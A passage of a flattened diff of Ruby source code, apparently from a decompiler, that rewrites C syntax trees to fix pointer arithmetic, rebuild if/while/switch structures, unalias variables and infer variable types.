ce.rexpr.type.pointed.untypedef - m = s.members.to_a.find { |m_| s.offsetof(@c_parser, m_.name) == 0 } - if sizeof(m) != sizeof(ce) - ce.rexpr = C::CExpression[[ce.rexpr, C::Pointer.new(s)], C::Pointer.new(ce.type)] - next - end - # *structptr => structptr->member - ce.lexpr = ce.rexpr - ce.op = :'->' - ce.rexpr = m.name - ce.type = m.type - next - elsif ce.op == :'=' and ce.lexpr.type.untypedef.kind_of? C::Struct - s = ce.lexpr.type.untypedef - m = s.members.to_a.find { |m_| s.offsetof(@c_parser, m_.name) == 0 } - ce.lexpr = C::CExpression.new(ce.lexpr, :'.', m.name, m.type) - ce.type = m.type - next - end - - if ce.op == :+ and ce.lexpr and ce.lexpr.type.pointer? and not ce.type.pointer? - ce.type = ce.lexpr.type - end - - if ce.op == :& and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :* and not ce.rexpr.lexpr - ce.replace C::CExpression[ce.rexpr.rexpr] - end - - next if not ce.lexpr or not ce.lexpr.type.pointer? - if ce.op == :+ and (s = ce.lexpr.type.pointed.untypedef).kind_of? C::Union and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and - ce.rexpr.rexpr.kind_of? ::Integer and o = ce.rexpr.rexpr - # structptr + 4 => &structptr->member - ce.replace structoffset(s, ce.lexpr, o, nil) - elsif [:+, :-, :'+=', :'-='].include? ce.op and ce.rexpr.kind_of? C::CExpression and ((not ce.rexpr.op and i = ce.rexpr.rexpr) or - (ce.rexpr.op == :* and i = ce.rexpr.lexpr and ((i.kind_of? C::CExpression and not i.op and i = i.rexpr) or true))) and - i.kind_of? ::Integer and psz = sizeof(nil, ce.lexpr.type.pointed) and i % psz == 0 - # ptr += 4 => ptr += 1 - if not ce.rexpr.op - ce.rexpr.rexpr /= psz - else - ce.rexpr.lexpr.rexpr /= psz - if ce.rexpr.lexpr.rexpr == 1 - ce.rexpr = ce.rexpr.rexpr - end - end - ce.type = ce.lexpr.type - - elsif (ce.op == :+ or ce.op == :-) and sizeof(nil, ce.lexpr.type.pointed) != 1 - # ptr+x => (ptrtype*)(((__int8*)ptr)+x) - # XXX create struct ? - ce.rexpr = C::CExpression[ce.rexpr, C::BaseType.new(:int)] if not ce.rexpr.type.integral? - if sizeof(nil, ce.lexpr.type.pointed) != 1 - ptype = ce.lexpr.type - p = C::CExpression[[ce.lexpr], C::Pointer.new(C::BaseType.new(:__int8))] - ce.replace C::CExpression[[p, ce.op, ce.rexpr, p.type], ptype] - end - end - } - end - - # handling of var overlapping (eg __int32 var_10; __int8 var_F => replace all var_F by *(&var_10 + 1)) - # must be done before fix_pointer_arithmetic - def fix_type_overlap(scope) - varinfo = {} - scope.symbol.each_value { |var| - next if not off = var.stackoff - len = sizeof(var) - varinfo[var] = [off, len] - } - - varinfo.each { |v1, (o1, l1)| - next if not v1.type.integral? - varinfo.each { |v2, (o2, l2)| - # XXX o1 may overlap o2 AND another (int32 v_10; int32 v_E; int32 v_C;) - # TODO should check stuff with aliasing domains - next if v1.name == v2.name or o1 >= o2+l2 or o1+l1 <= o2 or l1 > l2 or (l2 == l1 and o2 >= o1) - # v1 => *(&v2+delta) - p = C::CExpression[:&, v2] - p = C::CExpression[p, :+, [o1-o2]] - p = C::CExpression[p, C::Pointer.new(v1.type)] if v1.type != p.type.type - p = C::CExpression[:*, p] - walk_ce(scope) { |ce| - ce.lexpr = p if ce.lexpr == v1 - ce.rexpr = p if ce.rexpr == v1 - } - } - - } - end - - # to be run with scope = function body with only CExpr/Decl/Label/Goto/IfGoto/Return, with correct variables types - # will transform += 1 to ++, inline them to prev/next statement ('++x; if (x)..' => 'if (++x)..') + ce.bthen.outer.statements[i] = ce.test # TODO remove sideeffectless parts + end + end + end + if ce.belse.kind_of? C::Block and ce.belse.statements.length == 1 + walk(ce.belse.statements) { |sst| sst.outer = ce.belse.outer if sst.kind_of? C::Block and sst.outer == ce.belse } + ce.belse = ce.belse.statements.first + end + when C::While, C::DoWhile + patch_test[ce.test] + if ce.body.kind_of? C::Block + case ce.body.statements.length + when 1 + walk(ce.body.statements) { |sst| sst.outer = ce.body.outer if sst.kind_of? C::Block and sst.outer == ce.body } + ce.body = ce.body.statements.first + when 0 + if ce.kind_of? C::DoWhile and i = ce.body.outer.statements.index(ce) + ce = ce.body.outer.statements[i] = C::While.new(ce.test, ce.body) + end + ce.body = nil + end + end + end + } + walk(scope) { |ce| + next if not ce.kind_of? C::Block + st = ce.statements + st.length.times { |n| + while st[n].kind_of? C::If and st[n+1].kind_of? C::If and not st[n].belse and not st[n+1].belse and ( + (st[n].bthen.kind_of? C::Return and st[n+1].bthen.kind_of? C::Return and st[n].bthen.value == st[n+1].bthen.value) or + (st[n].bthen.kind_of? C::Break and st[n+1].bthen.kind_of? C::Break) or + (st[n].bthen.kind_of? C::Continue and st[n+1].bthen.kind_of? C::Continue)) + # if (a) return x; if (b) return x; => if (a || b) return x; + st[n].test = C::CExpression[st[n].test, :'||', st[n+1].test] + st.delete_at(n+1) + end + } + } + end + + # ifgoto => ifthen + # ary is an array of statements where we try to find if () {} [else {}] + # recurses to then/else content + def decompile_cseq_if(ary, scope) + return ary if forbid_decompile_ifwhile + # the array of decompiled statements to use as replacement + ret = [] + # list of labels appearing in ary + inner_labels = ary.grep(C::Label).map { |l| l.name } + while s = ary.shift + # recurse if it's not the first run + if s.kind_of? C::If + s.bthen.statements = decompile_cseq_if(s.bthen.statements, s.bthen) if s.bthen.kind_of? C::Block + s.belse.statements = decompile_cseq_if(s.belse.statements, s.belse) if s.belse.kind_of? C::Block + end + + # if (a) goto x; if (b) goto x; => if (a || b) goto x; + while s.kind_of? C::If and s.bthen.kind_of? C::Goto and not s.belse and ary.first.kind_of? C::If and ary.first.bthen.kind_of? C::Goto and + not ary.first.belse and s.bthen.target == ary.first.bthen.target + s.test = C::CExpression[s.test, :'||', ary.shift.test] + end + + # if (a) goto x; b; x: => if (!a) { b; } + if s.kind_of? C::If and s.bthen.kind_of? C::Goto and l = ary.grep(C::Label).find { |l_| l_.name == s.bthen.target } + # if {goto l;} a; l: => if (!) {a;} + s.test = C::CExpression.negate s.test + s.bthen = C::Block.new(scope) + s.bthen.statements = decompile_cseq_if(ary[0..ary.index(l)], s.bthen) + s.bthen.statements.pop # remove l: from bthen, it is in ary (was needed in bthen for inner ifs) + ary[0...ary.index(l)] = [] + end + + if s.kind_of? C::If and (s.bthen.kind_of? C::Block or s.bthen.kind_of? C::Goto) + s.bthen = C::Block.new(scope, [s.bthen]) if s.bthen.kind_of? C::Goto + + bts = s.bthen.statements + + # if (a) if (b) { c; } => if (a && b) { c; } + if bts.length == 1 and bts.first.kind_of? C::If and not bts.first.belse + s.test = C::CExpression[s.test, :'&&', bts.first.test] + bts = bts.first.bthen + bts = s.bthen.statements = bts.kind_of?(C::Block) ? bts.statements : [bts] + end + + # if (a) { if (b) goto c; d; } c: => if (a && !b) { d; } + if bts.first.kind_of? C::If and l = bts.first.bthen and (l = l.kind_of?(C::Block) ? l.statements.first : l) and l.kind_of? C::Goto and ary[0].kind_of? C::Label and l.target == ary[0].name + s.test = C::CExpression[s.test, :'&&', C::CExpression.negate(bts.first.test)] + if e = bts.shift.belse + bts.unshift e + end + end + + # if () { goto a; } a: + if bts.last.kind_of? C::Goto and ary[0].kind_of? C::Label and bts.last.target == ary[0].name + bts.pop + end + + # if { a; goto outer; } b; return; => if (!) { b; return; } a; goto outer; + if bts.last.kind_of? C::Goto and not inner_labels.include? bts.last.target and g = ary.find { |ss| ss.kind_of? C::Goto or ss.kind_of? C::Return } and g.kind_of? C::Return + s.test = C::CExpression.negate s.test + ary[0..ary.index(g)], bts[0..-1] = bts, ary[0..ary.index(g)] + end + + # if { a; goto l; } b; l: => if {a;} else {b;} + if bts.last.kind_of? C::Goto and l = ary.grep(C::Label).find { |l_| l_.name == bts.last.target } + s.belse = C::Block.new(scope) + s.belse.statements = decompile_cseq_if(ary[0...ary.index(l)], s.belse) + ary[0...ary.index(l)] = [] + bts.pop + end + + # if { a; l: b; goto any;} c; goto l; => if { a; } else { c; } b; goto any; + if not s.belse and (bts.last.kind_of? C::Goto or bts.last.kind_of? C::Return) and g = ary.grep(C::Goto).first and l = bts.grep(C::Label).find { |l_| l_.name == g.target } + s.belse = C::Block.new(scope) + s.belse.statements = decompile_cseq_if(ary[0...ary.index(g)], s.belse) + ary[0..ary.index(g)], bts[bts.index(l)..-1] = bts[bts.index(l)..-1], [] + end + + # if { a; b; c; } else { d; b; c; } => if {a;} else {d;} b; c; + if s.belse + bes = s.belse.statements + while not bts.empty? + if bts.last.kind_of? C::Label; ary.unshift bts.pop + elsif bes.last.kind_of? C::Label; ary.unshift bes.pop + elsif bts.last.to_s == bes.last.to_s; ary.unshift bes.pop ; bts.pop + else break + end + end + + # if () { a; } else { b; } => if () { a; } else b; + # if () { a; } else {} => if () { a; } + case bes.length + when 0; s.belse = nil + #when 1; s.belse = bes.first + end + end + + # if () {} else { a; } => if (!) { a; } + # if () { a; } => if () a; + case bts.length + when 0; s.test, s.bthen, s.belse = C::CExpression.negate(s.test), s.belse, nil if s.belse + #when 1; s.bthen = bts.first # later (allows simpler handling in _while) + end + end + + # l1: l2: if () goto l1; goto l2; => if(!) goto l2; goto l1; + if s.kind_of? C::If + ls = s.bthen + ls = ls.statements.last if ls.kind_of? C::Block + if ls.kind_of? C::Goto + if li = inner_labels.index(ls.target) + table = inner_labels + else + table = ary.map { |st| st.name if st.kind_of? C::Label }.compact.reverse + li = table.index(ls.target) || table.length + end + g = ary.find { |ss| + break if ss.kind_of? C::Return + next if not ss.kind_of? C::Goto + table.index(ss.target).to_i > li + } + if g + s.test = C::CExpression.negate s.test + if not s.bthen.kind_of? C::Block + ls = C::Block.new(scope) + ls.statements << s.bthen + s.bthen = ls + end + ary[0..ary.index(g)], s.bthen.statements = s.bthen.statements, decompile_cseq_if(ary[0..ary.index(g)], scope) + end + end + end + + ret << s + end + ret + end + + def decompile_cseq_while(ary, scope) + return if forbid_decompile_ifwhile + + # find the next instruction that is not a label + ni = lambda { |l| ary[ary.index(l)..-1].find { |s| not s.kind_of? C::Label } } + + # TODO XXX get rid of #index + finished = false ; while not finished ; finished = true # 1.9 does not support 'retry' + ary.each { |s| + case s + when C::Label + if ss = ni[s] and ss.kind_of? C::If and not ss.belse and ss.bthen.kind_of? C::Block + if ss.bthen.statements.last.kind_of? C::Goto and ss.bthen.statements.last.target == s.name + ss.bthen.statements.pop + if l = ary[ary.index(ss)+1] and l.kind_of? C::Label + ss.bthen.statements.grep(C::If).each { |i| + i.bthen = C::Break.new if i.bthen.kind_of? C::Goto and i.bthen.target == l.name + } + end + ary[ary.index(ss)] = C::While.new(ss.test, ss.bthen) + elsif ss.bthen.statements.last.kind_of? C::Return and g = ary[ary.index(s)+1..-1].reverse.find { |_s| _s.kind_of? C::Goto and _s.target == s.name } + wb = C::Block.new(scope) + wb.statements = decompile_cseq_while(ary[ary.index(ss)+1...ary.index(g)], wb) + w = C::While.new(C::CExpression.negate(ss.test), wb) + ary[ary.index(ss)..ary.index(g)] = [w, *ss.bthen.statements] + finished = false ; break #retry + end + end + if g = ary[ary.index(s)..-1].reverse.find { |_s| _s.kind_of? C::Goto and _s.target == s.name } + wb = C::Block.new(scope) + wb.statements = decompile_cseq_while(ary[ary.index(s)...ary.index(g)], wb) + w = C::While.new(C::CExpression[1], wb) + ary[ary.index(s)..ary.index(g)] = [w] + finished = false ; break #retry + end + if g = ary[ary.index(s)..-1].reverse.find { |_s| _s.kind_of? C::If and not _s.belse and gt = _s.bthen and + (gt = gt.kind_of?(C::Block) && gt.statements.length == 1 ? gt.statements.first : gt) and gt.kind_of? C::Goto and gt.target == s.name } + wb = C::Block.new(scope) + wb.statements = decompile_cseq_while(ary[ary.index(s)...ary.index(g)], wb) + w = C::DoWhile.new(g.test, wb) + ary[ary.index(s)..ary.index(g)] = [w] + finished = false ; break #retry + end + when C::If + decompile_cseq_while(s.bthen.statements, s.bthen) if s.bthen.kind_of? C::Block + decompile_cseq_while(s.belse.statements, s.belse) if s.belse.kind_of? C::Block + when C::While, C::DoWhile + decompile_cseq_while(s.body.statements, s.body) if s.body.kind_of? C::Block + end + } + end + ary + end + + # TODO + def decompile_cseq_switch(scope) + uncast = lambda { |e| e = e.rexpr while e.kind_of? C::CExpression and not e.op ; e } + walk(scope) { |s| + # XXX pfff... + next if not s.kind_of? C::If + # if (v < 12) return ((void(*)())(tableaddr+4*v))(); + t = s.bthen + t = t.statements.first if t.kind_of? C::Block and t.statements.length == 1 + next if not t.kind_of? C::Return or not t.respond_to? :from_instr + next if t.from_instr.comment.to_a.include? 'switch' + next if not t.value.kind_of? C::CExpression or t.value.op != :funcall or t.value.rexpr != [] or not t.value.lexpr.kind_of? C::CExpression or t.value.lexpr.op + p = uncast[t.value.lexpr.rexpr] + next if not p.kind_of? C::CExpression or p.op != :* or p.lexpr + p = uncast[p.rexpr] + next if not p.kind_of? C::CExpression or p.op != :+ + r, l = uncast[p.rexpr], uncast[p.lexpr] + r, l = l, r if r.kind_of? C::CExpression + next if not r.kind_of? ::Integer or not l.kind_of? C::CExpression or l.op != :* or not l.lexpr + lr, ll = uncast[l.rexpr], uncast[l.lexpr] + lr, ll = ll, lr if not ll.kind_of? ::Integer + next if ll != sizeof(nil, C::Pointer.new(C::BaseType.new(:void))) + base, index = r, lr + if s.test.kind_of? C::CExpression and (s.test.op == :<= or s.test.op == :<) and s.test.lexpr == index and + s.test.rexpr.kind_of? C::CExpression and not s.test.rexpr.op and s.test.rexpr.rexpr.kind_of? ::Integer + t.from_instr.add_comment 'switch' + sup = s.test.rexpr.rexpr + rng = ((s.test.op == :<) ? (0...sup) : (0..sup)) + from = t.from_instr.address + rng.map { |i| @dasm.backtrace(Indirection[base+ll*i, ll, from], from, :type => :x, :origin => from, :maxdepth => 0) } + @dasm.disassemble + throw :restart, :restart + end + puts "unhandled switch() at #{t.from_instr}" if $VERBOSE + } + end + + # remove unused labels + def remove_labels(scope) + return if forbid_optimize_labels + + used = [] + walk(scope) { |ss| + used |= [ss.target] if ss.kind_of? C::Goto + } + walk(scope) { |s| + next if not s.kind_of? C::Block + s.statements.delete_if { |l| + l.kind_of? C::Label and not used.include? l.name + } + } + + # remove implicit continue; at end of loop + walk(scope) { |s| + next if not s.kind_of? C::While + if s.body.kind_of? C::Block and s.body.statements.last.kind_of? C::Continue + s.body.statements.pop + end + } + end + + # checks if expr is a var (var or *&var) + def isvar(ce, var) + if var.stackoff and ce.kind_of? C::CExpression + return unless ce.op == :* and not ce.lexpr + ce = ce.rexpr + ce = ce.rexpr while ce.kind_of? C::CExpression and not ce.op + return unless ce.kind_of? C::CExpression and ce.op == :& and not ce.lexpr + ce = ce.rexpr + end + ce == var + end + + # checks if expr reads var + def ce_read(ce_, var) + isvar(ce_, var) or + walk_ce(ce_) { |ce| + case ce.op + when :funcall; break true if isvar(ce.lexpr, var) or ce.rexpr.find { |a| isvar(a, var) } + when :'='; break true if isvar(ce.rexpr, var) + break ce_read(ce.rexpr, var) if isvar(ce.lexpr, var) # *&var = 2 + else break true if isvar(ce.lexpr, var) or isvar(ce.rexpr, var) + end + } + end + + # checks if expr writes var + def ce_write(ce_, var) + walk_ce(ce_) { |ce| + break true if AssignOp.include?(ce.op) and (isvar(ce.lexpr, var) or + (((ce.op == :'++' or ce.op == :'--') and isvar(ce.rexpr, var)))) + } + end + + # patches a set of exprs, replacing oldce by newce + def ce_patch(exprs, oldce, newce) + walk_ce(exprs) { |ce| + case ce.op + when :funcall + ce.lexpr = newce if ce.lexpr == oldce + ce.rexpr.each_with_index { |a, i| ce.rexpr[i] = newce if a == oldce } + else + ce.lexpr = newce if ce.lexpr == oldce + ce.rexpr = newce if ce.rexpr == oldce + end + } + end + + + # duplicate vars per domain value + # eg eax = 1; foo(eax); eax = 2; bar(eax); => eax = 1; foo(eax) eax_1 = 2; bar(eax_1); + # eax = 1; if (bla) eax = 2; foo(eax); => no change + def unalias_vars(scope, func) + g = c_to_graph(scope) + + # unalias func args first, they may include __attr__((out)) needed by the others + funcalls = [] + walk_ce(scope) { |ce| funcalls << ce if ce.op == :funcall } + vars = scope.symbol.values.sort_by { |v| walk_ce(funcalls) { |ce| break true if ce.rexpr == v } ? 0 : 1 } + + # find the domains of var aliases + vars.each { |var| unalias_var(var, scope, g) } + end + + # duplicates a var per domain value + def unalias_var(var, scope, g = c_to_graph(scope)) + # [label, index] of references to var (reading it, writing it, ro/wo it (eg eax = *eax => eax_0 = *eax_1)) + read = {} + write = {} + ro = {} + wo = {} + + # list of [l, i] for which domain is not known + unchecked = [] + + # mark all exprs of the graph + # TODO handle var_14 __attribute__((out)) = &curvar <=> curvar write + r = var.has_attribute_var('register') + g.exprs.each { |label, exprs| + exprs.each_with_index { |ce, i| + if ce_read(ce, var) + if (ce.op == :'=' and isvar(ce.lexpr, var) and not ce_write(ce.rexpr, var)) or + (ce.op == :funcall and r and not ce_write(ce.lexpr, var) and not ce_write(ce.rexpr, var) and @dasm.cpu.abi_funcall[:changed].include?(r.to_sym)) + (ro[label] ||= []) << i + (wo[label] ||= []) << i + unchecked << [label, i, :up] << [label, i, :down] + else + (read[label] ||= []) << i + unchecked << [label, i] + end + elsif ce_write(ce, var) + (write[label] ||= []) << i + unchecked << [label, i] + end + } + } + + # stuff when filling the domain (flood algorithm) + dom = dom_ro = dom_wo = todo_up = todo_down = func_top = nil + + # flood by walking the graph up from [l, i] (excluded) + # marks stuff do walk down + walk_up = lambda { |l, i| + todo_w = [[l, i-1]] + done_w = [] + while o = todo_w.pop + next if done_w.include? o + done_w << o + l, i = o + loop do + if read[l].to_a.include? i + # XXX not optimal (should mark only the uppest read) + todo_down |= [[l, i]] if not dom.include? [l, i] + dom |= [[l, i]] + elsif write[l].to_a.include? i + todo_down |= [[l, i]] if not dom.include? [l, i] + dom |= [[l, i]] + break + elsif wo[l].to_a.include? i + todo_down |= [[l, i]] if not dom_wo.include? [l, i, :down] + dom_wo |= [[l, i, :down]] + break + end + i -= 1 + if i < 0 + g.from_optim[l].to_a.each { |ll| + todo_w << [ll, g.exprs[ll].to_a.length-1] + } + func_top = true if g.from_optim[l].to_a.empty? + break + end + end + end + } + + # flood by walking the graph down from [l, i] (excluded) + # malks stuff to walk up + walk_down = lambda { |l, i| + todo_w = [[l, i+1]] + done_w = [] + while o = todo_w.pop + next if done_w.include? o + done_w << o + l, i = o + loop do + if read[l].to_a.include? i + todo_up |= [[l, i]] if not dom.include? [l, i] + dom |= [[l, i]] + elsif write[l].to_a.include? i + break + elsif ro[l].to_a.include? i + todo_up |= [[l, i]] if not dom_ro.include? [l, i, :up] + dom_ro |= [[l, i, :up]] + break + end + i += 1 + if i >= g.exprs[l].to_a.length + g.to_optim[l].to_a.each { |ll| + todo_w << [ll, 0] + } + break + end + end + end + } + + # check it out + while o = unchecked.shift + dom = [] + dom_ro = [] + dom_wo = [] + func_top = false + + todo_up = [] + todo_down = [] + + # init + if read[o[0]].to_a.include? o[1] + todo_up << o + todo_down << o + dom << o + elsif write[o[0]].to_a.include? o[1] + todo_down << o + dom << o + elsif o[2] == :up + todo_up << o + dom_ro << o + elsif o[2] == :down + todo_down << o + dom_wo << o + else raise + end + + # loop + while todo_up.first or todo_down.first + todo_up.each { |oo| walk_up[oo[0], oo[1]] } + todo_up.clear + + todo_down.each { |oo| walk_down[oo[0], oo[1]] } + todo_down.clear + end + + unchecked -= dom + dom_wo + dom_ro + + next if func_top + + # patch + n_i = 0 + n_i += 1 while scope.symbol_ancestors[newvarname = "#{var.name}_a#{n_i}"] + + nv = var.dup + nv.storage = :register if nv.has_attribute_var('register') + nv.attributes = nv.attributes.dup if nv.attributes + nv.name = newvarname + scope.statements << C::Declaration.new(nv) + scope.symbol[nv.name] = nv + + dom.each { |oo| ce_patch(g.exprs[oo[0]][oo[1]], var, nv) } + dom_ro.each { |oo| + ce = g.exprs[oo[0]][oo[1]] + if ce.op == :funcall or ce.rexpr.kind_of? C::CExpression + ce_patch(ce.rexpr, var, nv) + else + ce.rexpr = nv + end + } + dom_wo.each { |oo| + ce = g.exprs[oo[0]][oo[1]] + if ce.op == :funcall + elsif ce.lexpr.kind_of? C::CExpression + ce_patch(ce.lexpr, var, nv) + else + ce.lexpr = nv + end + } + + # check if the var is only used as an __out__ parameter + if false and dom_ro.empty? and dom_wo.empty? and dom.length == 2 and # TODO + arg.has_attribute('out') and not arg.has_attribute('in') + # *(int32*)&var_10 = &var_4; + # set_pointed_value(*(int32*)&var_10); => writeonly var_4, may start a new domain + nv.add_attribute('out') + end + end + end + + # revert the unaliasing namechange of vars where no alias subsists + def simplify_varname_noalias(scope) + names = scope.symbol.keys + names.delete_if { |k| + next if not b = k[/^(.*)_a\d+$/, 1] + next if scope.symbol[k].stackoff.to_i > 0 + if not names.find { |n| n != k and (n == b or n[/^(.*)_a\d+$/, 1] == b) } + scope.symbol[b] = scope.symbol.delete(k) + scope.symbol[b].name = b + end + } + end + + # patch scope to transform :frameoff-x into &var_x + def namestackvars(scope) + off2var = {} + newvar = lambda { |o, n| + if not v = off2var[o] + v = off2var[o] = C::Variable.new + v.type = C::BaseType.new(:void) + v.name = n + v.stackoff = o + scope.symbol[v.name] = v + scope.statements << C::Declaration.new(v) + end + v + } + + scope.decompdata[:stackoff_name].each { |o, n| newvar[o, n] } + scope.decompdata[:stackoff_type].each { |o, t| newvar[o, stackoff_to_varname(o)] } + + walk_ce(scope) { |e| + next if e.op != :+ and e.op != :- + next if not e.lexpr.kind_of? C::Variable or e.lexpr.name != 'frameptr' + next if not e.rexpr.kind_of? C::CExpression or e.rexpr.op or not e.rexpr.rexpr.kind_of? ::Integer + off = e.rexpr.rexpr + off = -off if e.op == :- + v = newvar[off, stackoff_to_varname(off)] + e.replace C::CExpression[:&, v] + } + end + + # assign type to vars (regs, stack & global) + # types are found by subfunction argument types & indirections, and propagated through assignments etc + # TODO when updating the type of a var, update the type of all cexprs where it appears + def decompile_c_types(scope) + return if forbid_decompile_types + + # TODO *(int8*)(ptr+8); *(int32*)(ptr+12) => automatic struct + + # name => type + types = {} + + pscopevar = lambda { |e| + e = e.rexpr while e.kind_of? C::CExpression and not e.op and e.rexpr.kind_of? C::CExpression + if e.kind_of? C::CExpression and e.op == :& and not e.lexpr and e.rexpr.kind_of? C::Variable + e.rexpr.name if scope.symbol[e.rexpr.name] + end + } + scopevar = lambda { |e| + e = e.rexpr if e.kind_of? C::CExpression and not e.op + if e.kind_of? C::Variable and scope.symbol[e.name] + e.name + elsif e.kind_of? C::CExpression and e.op == :* and not e.lexpr + pscopevar[e.rexpr] + end + } + globalvar = lambda { |e| + e = e.rexpr if e.kind_of? C::CExpression and not e.op + if e.kind_of? ::Integer and @dasm.get_section_at(e) + e + elsif e.kind_of? C::Variable and not scope.symbol[e.name] and @c_parser.toplevel.symbol[e.name] and @dasm.get_section_at(e.name) + e.name + end + } + + # check if a newly found type for o is better than current type + # order: foo* > void* > foo + better_type = lambda { |t0, t1| + t1 == C::BaseType.new(:void) or (t0.pointer? and t1.kind_of? C::BaseType) or t0.untypedef.kind_of? C::Union or + (t0.kind_of? C::BaseType and t1.kind_of? C::BaseType and (@c_parser.typesize[t0.name] > @c_parser.typesize[t1.name] or (t0.name == t1.name and t0.qualifier))) or + (t0.pointer? and t1.pointer? and better_type[t0.pointed, t1.pointed]) + } + + update_global_type = lambda { |e, t| + if ne = new_global_var(e, t, scope) + ne.type = t if better_type[t, ne.type] # TODO patch existing scopes using ne + # TODO rename (dword_xx -> byte_xx etc) + e = scope.symbol_ancestors[e] || e if e.kind_of? String # exe reloc + walk_ce(scope) { |ce| + ce.lexpr = ne if ce.lexpr == e + ce.rexpr = ne if ce.rexpr == e + if ce.op == :* and not ce.lexpr and ce.rexpr == ne and ne.type.pointer? and ne.type.pointed.untypedef.kind_of? C::Union + # *struct -> struct->bla + ce.rexpr = structoffset(ne.type.pointed.untypedef, ce.rexpr, 0, sizeof(ce.type)) + elsif ce.lexpr == ne or ce.rexpr == ne + # set ce type according to l/r + # TODO set ce.parent type etc + ce.type = C::CExpression[ce.lexpr, ce.op, ce.rexpr].type + end + } + end + } + + propagate_type = nil # fwd declaration + propagating = [] # recursion guard (x = &x) + # check if need to change the type of a var + # propagate_type if type is updated + update_type = lambda { |n, t| + next if propagating.include? n + o = scope.symbol[n].stackoff + next if not o and t.untypedef.kind_of? C::Union + next if o and scope.decompdata[:stackoff_type][o] and t != scope.decompdata[:stackoff_type][o] + next if t0 = types[n] and not better_type[t, t0] + next if o and (t.integral? or t.pointer?) and o % sizeof(t) != 0 # keep vars aligned + types[n] = t + next if t == t0 + propagating << n + propagate_type[n, t] + propagating.delete n + next if not o + t = t.untypedef + if t.kind_of? C::Struct + t.members.to_a.each { |m| + mo = t.offsetof(@c_parser, m.name) + next if mo == 0 + scope.symbol.each { |vn, vv| + update_type[vn, m.type] if vv.stackoff == o+mo + } + } + end + } + + # try to update the type of a var from knowing the type of an expr (through dereferences etc) + known_type = lambda { |e, t| + loop do + e = e.rexpr while e.kind_of? C::CExpression and not e.op and e.type == t + if o = scopevar[e] + update_type[o, t] + elsif o = globalvar[e] + update_global_type[o, t] + elsif not e.kind_of? C::CExpression + elsif o = pscopevar[e] and t.pointer? + update_type[o, t.pointed] + elsif e.op == :* and not e.lexpr + e = e.rexpr + t = C::Pointer.new(t) + next + elsif t.pointer? and e.op == :+ and e.lexpr.kind_of? C::CExpression and e.lexpr.type.integral? and e.rexpr.kind_of? C::Variable + e.lexpr, e.rexpr = e.rexpr, e.lexpr + next + elsif e.op == :+ and e.lexpr and e.rexpr.kind_of? C::CExpression + if not e.rexpr.op and e.rexpr.rexpr.kind_of? ::Integer + if t.pointer? and e.rexpr.rexpr < 0x1000 and (e.rexpr.rexpr % sizeof(t.pointed)) == 0 # XXX relocatable + base=0.. + e = e.lexpr # (int)*(x+2) === (int) *x + next + elsif globalvar[e.rexpr.rexpr] + known_type[e.lexpr, C::BaseType.new(:int)] + e = e.rexpr + next + end + elsif t.pointer? and (e.lexpr.kind_of? C::CExpression and e.lexpr.lexpr and [:<<, :>>, :*, :&].include? e.lexpr.op) or + (o = scopevar[e.lexpr] and types[o] and types[o].integral? and + !(o = scopevar[e.rexpr] and types[o] and types[o].integral?)) + e.lexpr, e.rexpr = e.rexpr, e.lexpr # swap + e = e.lexpr + next + elsif t.pointer? and ((e.rexpr.kind_of? C::CExpression and e.rexpr.lexpr and [:<<, :>>, :*, :&].include? e.rexpr.op) or + (o = scopevar[e.rexpr] and types[o] and types[o].integral? and + !(o = scopevar[e.lexpr] and types[o] and types[o].integral?))) + e = e.lexpr + next + end + end + break + end + } + + # we found a type for a var, propagate it through affectations + propagate_type = lambda { |var, type| + walk_ce(scope) { |ce| + next if ce.op != :'=' + + if ce.lexpr.kind_of? C::Variable and ce.lexpr.name == var + known_type[ce.rexpr, type] + next + end + if ce.rexpr.kind_of? C::Variable and ce.rexpr.name == var + known_type[ce.lexpr, type] + next + end + + # int **x; y = **x => int y + t = type + l = ce.lexpr + while l.kind_of? C::CExpression and l.op == :* and not l.lexpr + if var == pscopevar[l.rexpr] + known_type[ce.rexpr, t] + break + elsif t.pointer? + l = l.rexpr + t = t.pointed + else break + end + end + + # int **x; **x = y => int y + t = type + r = ce.rexpr + while r.kind_of? C::CExpression and r.op == :* and not r.lexpr + if var == pscopevar[r.rexpr] + known_type[ce.lexpr, t] + break + elsif t.pointer? + r = r.rexpr + t = t.pointed + else break + end + end + + # TODO int *x; *x = *y; ? + } + } + + # put all those macros in use + # use user-defined types first + scope.symbol.each_value { |v| + next if not v.kind_of? C::Variable or not v.stackoff or not t = scope.decompdata[:stackoff_type][v.stackoff] + known_type[v, t] + } + + # try to infer types from C semantics + later = [] + walk_ce(scope) { |ce| + if ce.op == :'=' and ce.rexpr.kind_of? C::CExpression and (ce.rexpr.op == :funcall or (ce.rexpr.op == nil and ce.rexpr.rexpr.kind_of? ::Integer and + ce.rexpr.rexpr.abs < 0x10000 and (not ce.lexpr.kind_of? C::CExpression or ce.lexpr.op != :'*' or ce.lexpr.lexpr))) + # var = int + known_type[ce.lexpr, ce.rexpr.type] + elsif ce.op == :funcall + f = ce.lexpr.type + f = f.pointed if f.pointer? + next if not f.kind_of? C::Function + # cast func args to arg prototypes + f.args.to_a.zip(ce.rexpr).each_with_index { |(proto, arg), i| ce.rexpr[i] = C::CExpression[arg, proto.type] ; known_type[arg, proto.type] } + elsif ce.op == :* and not ce.lexpr + if e = ce.rexpr and e.kind_of? C::CExpression and not e.op and e = e.rexpr and e.kind_of? C::CExpression and + e.op == :& and not e.lexpr and e.rexpr.kind_of? C::Variable and e.rexpr.stackoff + # skip *(__int32*)&var_12 for now, avoid saying var12 is an int if it may be a ptr or anything + later << [ce.rexpr, C::Pointer.new(ce.type)] + next + end + known_type[ce.rexpr, C::Pointer.new(ce.type)] + elsif not ce.op and ce.type.pointer? and ce.type.pointed.kind_of? C::Function + # cast to fptr: must be a fptr + known_type[ce.rexpr, ce.type] + end + } + + later.each { |ce, t| known_type[ce, t] } + + # offsets have types now + types.each { |v, t| + # keep var type qualifiers + q = scope.symbol[v].type.qualifier + scope.symbol[v].type = t + t.qualifier = q if q + } + + + # remove offsets to struct members + # XXX this defeats antialiasing + # off => [structoff, membername, membertype] + memb = {} + types.dup.each { |n, t| + v = scope.symbol[n] + next if not o = v.stackoff + t = t.untypedef + if t.kind_of? C::Struct + t.members.to_a.each { |tm| + moff = t.offsetof(@c_parser, tm.name) + next if moff == 0 + types.delete_if { |vv, tt| scope.symbol[vv].stackoff == o+moff } + memb[o+moff] = [v, tm.name, tm.type] + } + end + } + + # patch local variables into the CExprs, 